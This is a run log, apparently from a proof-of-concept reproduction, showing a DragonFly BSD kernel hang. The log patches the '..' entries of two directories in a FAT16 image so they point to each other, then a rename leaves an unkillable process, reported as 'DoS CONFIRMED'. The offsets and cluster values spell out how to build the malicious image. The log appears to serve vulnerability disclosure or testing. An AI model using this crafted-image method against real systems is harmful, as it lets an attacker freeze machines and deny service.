DF-3037 / run.log
=== [0] guest info === DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC x86_64 === [1] build base FAT16 image with A, A/moveme, B, D === 16777216 bytes transferred in 0.019226 secs (872611674 bytes/sec) total 58 drwxr-xr-x 1 root wheel 16384 Jan 1 1980 . drwxr-xr-x 1 root wheel 0 Jun 30 09:49 .. drwxr-xr-x 1 root wheel 4096 Sep 5 14:42 A drwxr-xr-x 1 root wheel 4096 Sep 5 14:42 B drwxr-xr-x 1 root wheel 4096 Sep 5 14:42 D === [2] map '.' entries === # off(cluster-start of '.' entry) own-cluster dot at off=33280 owncluster=2 next-entry='.. ' dot at off=37376 owncluster=3 next-entry='.. ' dot at off=41472 owncluster=4 next-entry='.. ' dot at off=45568 owncluster=5 next-entry='.. ' === [3] CONTROL: rename on the unpatched image === rename returned success control rc=0 elapsed=0s m2 === [4] restore image (fresh) and patch B<->D '..' cycle === 16777216 bytes transferred in 0.018551 secs (904403852 bytes/sec) # off(cluster-start of '.' entry) own-cluster dot at off=33280 owncluster=2 next-entry='.. ' dot at off=37376 owncluster=3 next-entry='.. ' dot at off=41472 owncluster=4 next-entry='.. ' dot at off=45568 owncluster=5 next-entry='.. ' B: dotoff=41472 cluster=4 D: dotoff=45568 cluster=5 patching '..' at off=41504 : startcluster 0 -> 5 patching '..' at off=45600 : startcluster 0 -> 4 cycle installed: B/.. -> 5, D/.. -> 4 === [5] EXPLOIT: rename under cycle (15s watchdog) === TRIGGER STILL RUNNING AFTER 15s -- attempting kill -9 KILL -9 INEFFECTIVE (stuck in kernel) -- DoS CONFIRMED --- process state ---